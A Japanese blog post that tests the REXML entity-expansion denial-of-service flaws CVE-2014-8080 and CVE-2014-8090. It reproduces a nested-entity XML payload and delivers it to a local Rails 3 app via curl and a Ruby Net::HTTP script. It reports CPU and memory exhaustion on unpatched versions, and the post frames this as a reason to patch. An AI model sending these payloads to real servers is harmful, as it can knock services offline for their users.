XMLを送りたい時

少し前(2014年10月頃)になりますが、RubyのDoS脆弱性としてREXMLに関連するものが出ていました。

* [CVE-2014-8080: REXML におけるXML展開に伴うサービス不能攻撃について](https://www.ruby-lang.org/ja/news/2014/10/27/rexml-dos-cve-2014-8080/)
* [CVE-2014-8090: REXML における XML 展開に伴う新たなサービス不能攻撃について](https://www.ruby-lang.org/ja/news/2014/11/13/rexml-dos-cve-2014-8090/)

Ruby on Rails3系だと、XMLが送られてくると、コントローラーに来る前に基本的には勝手に解釈してくれます。
なので、『送りつけたらどうなるかなぁ？』と思ったお話です。
なお4系列だと、XMLは自動で解釈しない(parseを無くしたはず)ので、[actionapack-xml-parser](https://github.com/rails/actionpack­xml_parser)を利用するようにしていたり、自前でREXMLを利用していない限りは気にしなくても良いですし、rubyのパッチバージョンを最新にすれば問題は起きないです。

# とりあえずローカルで発生するのかを見る

## cve-2014-8080

* [コミット](https://github.com/ruby/ruby/commit/31d25ce5037909f85)の中にテストコードがあるので、そこにあるXMLを叩いてみます。

```ruby:cve-2014-8080.rb
require "rexml/document"

xml = <<-XML
<!DOCTYPE root[
  <!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
  <!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
  <!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
  <!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
  <!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
  <!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
  <!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
  <!ENTITY test "test %g;">
]>
<cd></cd>
XML

REXML::Document.new(xml)
```
* 実行すると、CPU使用率が100%付近に張り付きます

* 対策済みのパッチバージョンで実行すると以下のようなメッセージが出るだけです

```shell-session
$ ruby cve-2014-8080_rexml.rb 
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:95:in `rescue in parse': #<RuntimeError: entity expansion has grown too large> (REXML::ParseException)
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:145:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `block in parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
cve-2014-8080_rexml.rb:17:in `new'
cve-2014-8080_rexml.rb:17:in `<main>'
...
entity expansion has grown too large
Line: 10
Position: 495
Last 80 unconsumed characters:
	from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:20:in `parse'
	from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
	from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
	from cve-2014-8080_rexml.rb:17:in `new'
	from cve-2014-8080_rexml.rb:17:in `<main>'
```

## cve-2014-8090
* こちらも似たような結果で、対策済みパッチバージョンで実行すると少しエラーメッセージが変わる感じです

```shell-session
$ ruby cve-2014-8090_rexml.rb -l
start rexml : 2014-12-05 20:47:20 +0900
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:95:in `rescue in parse': #<RuntimeError: number of entity expansions exceeded, processing aborted.> (REXML::ParseException)
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:239:in `record_entity_expansion'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:76:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `block in parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
cve-2014-8090_rexml.rb:43:in `new'
cve-2014-8090_rexml.rb:43:in `<main>'
...
number of entity expansions exceeded, processing aborted.
Line: 10
Position: 450
Last 80 unconsumed characters:
	from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:20:in `parse'
	from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
	from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
	from cve-2014-8090_rexml.rb:43:in `new'
	from cve-2014-8090_rexml.rb:43:in `<main>'
```

# XMLを送りたい時
ローカルで起動させたRailsアプリに贈る

* ただし、CPUを張り付かせたいので、XMLを自動解釈してくれるように、Rails3系のもの

## curlで
手っ取り早いですよね。雰囲気としては以下

```shell-session
curl -­L http://localhost:3000/ ­-H 'Content­Type:application/xml'\
­-X POST -­d '<!DOCTYPE root[
  <!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
  <!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
  <!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
  <!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
  <!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
  <!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
  <!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
  <!ENTITY test "test %g;">
]>'
```
今回は特に問題となりませんが、XMLが長くなってくるとエラーになってしまい実行出来ないと思います。

## rubyで送る

```rb
require "net/http"
require "uri"
require "pp"

xml = <<-XML
<!DOCTYPE root[
  <!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
  <!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
  <!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
  <!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
  <!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
  <!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
  <!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
  <!ENTITY test "test %g;">
]>
<cd></cd>
XML

uri = URI.parse("http://localhost:3000/")
Net::HTTP.start(uri.host, uri.port){|http|
   header = {
     "Content-Type" => "application/xml"
   }

  body = xml
  pp http.post(uri.path, body, header)
}
```
Railsのログは貼りませんが、CPUが100%に張り付き、メモリ使用量が20倍程(実験環境だと約800MB)になる事は確認しました。
送る側のプロセスはすぐにタイムアウトになる割にRailsプロセスは10分程上記の状態になっていたので、連投されると嫌ですね。
パッチバージョンを上げた後は、「500 Internal Server Error」が返ってくるようになりました。
なお、Railsのコントローラーに来る前に、エラーを返す事になるはずなので、ハンドリングは少し工夫が要ると思います。

# まとめ
* XMLを簡単にPOSTするコードでした
* パッチバージョンはこまめに上げていきましょう